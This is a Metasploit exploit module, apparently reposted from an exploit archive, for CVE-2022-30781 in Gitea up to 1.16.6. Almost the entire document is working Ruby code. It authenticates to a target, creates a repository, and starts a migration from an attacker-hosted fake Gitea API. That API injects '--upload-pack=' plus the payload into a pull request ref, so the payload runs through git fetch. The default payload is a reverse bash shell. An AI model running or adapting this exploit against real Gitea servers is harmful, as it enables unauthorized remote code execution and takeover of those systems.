This Metasploit module exploits the Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affects Gitea versions prior to 1.16.7.
dd896fa69248da44c654b1dacf601582e7c11220a2ca6e9f2bbf86da8fcd544b
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005 & li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'keep_cookies' => true
)
return CheckCode::Unknown('No response from the web service') if res.nil?
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
# Powered by Gitea Version: 1.16.6
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
return CheckCode::Unknown('Target does not appear to be running Gitea.')
end
if match[:version].match(/[a-zA-Z]/)
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
return CheckCode::Safe('Authentication failed') if res&.code != 302
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{match[:version]}")
end
CheckCode::Safe("Version detected: #{match[:version]}")
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def primer
['/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
vprint_status("Creating repository \"#{@repo_name}\"")
gitea_create_repo
vprint_good('Repository created')
vprint_status("Migrating repository")
gitea_migrate_repo
end
def exploit
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
datastore['URIPATH'] = "/#{@migrate_repo_path}"
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
cleanup # removing all resources
end
def get_csrf(cookies)
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
csrf
end
def gitea_remove_repo(name)
vprint_status("Cleanup: removing repository \"#{name}\"")
uri = "/#{datastore['username']}/#{name}/settings"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'action' => 'delete',
'repo_name' => name,
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
vprint_warning('Unable to remove repository') if res&.code != 302
end
def gitea_create_repo
uri = normalize_uri(target_uri.path, '/repo/create')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'auto_init' => 'on',
'readme' => 'Default',
'repo_name' => @repo_name,
'trust_model' => 'default',
'default_branch' => 'master',
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def gitea_migrate_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
'keep_cookies' => true
)
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'service' => svc_type,
'pull_requests' => 'on',
'repo_name' => @migrate_repo_name,
'_csrf' => get_csrf(res.get_cookies),
'auth_token' => rand_text_alphanumeric(6..15),
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
},
'keep_cookies' => true
)
if res&.code != 302 # possibly triggered by the [migrations] settings
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
gitea_remove_repo(@repo_name)
cleanup
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
'max_response_items':50,'default_paging_num':30,
'default_git_trees_per_page':1000,'default_max_blob_size':10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
"owner": { "login": datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
"base": {
"ref": "master",
},
"head": {
"ref": "--upload-pack=#{payload.encoded}",
"repo": {
"clone_url": "./",
"owner": { "login": "master" },
}
},
"updated_at": "2001-01-01T05:00:00+01:00",
"user": {}
}
]
send_response(cli, data.to_json)
end
end
end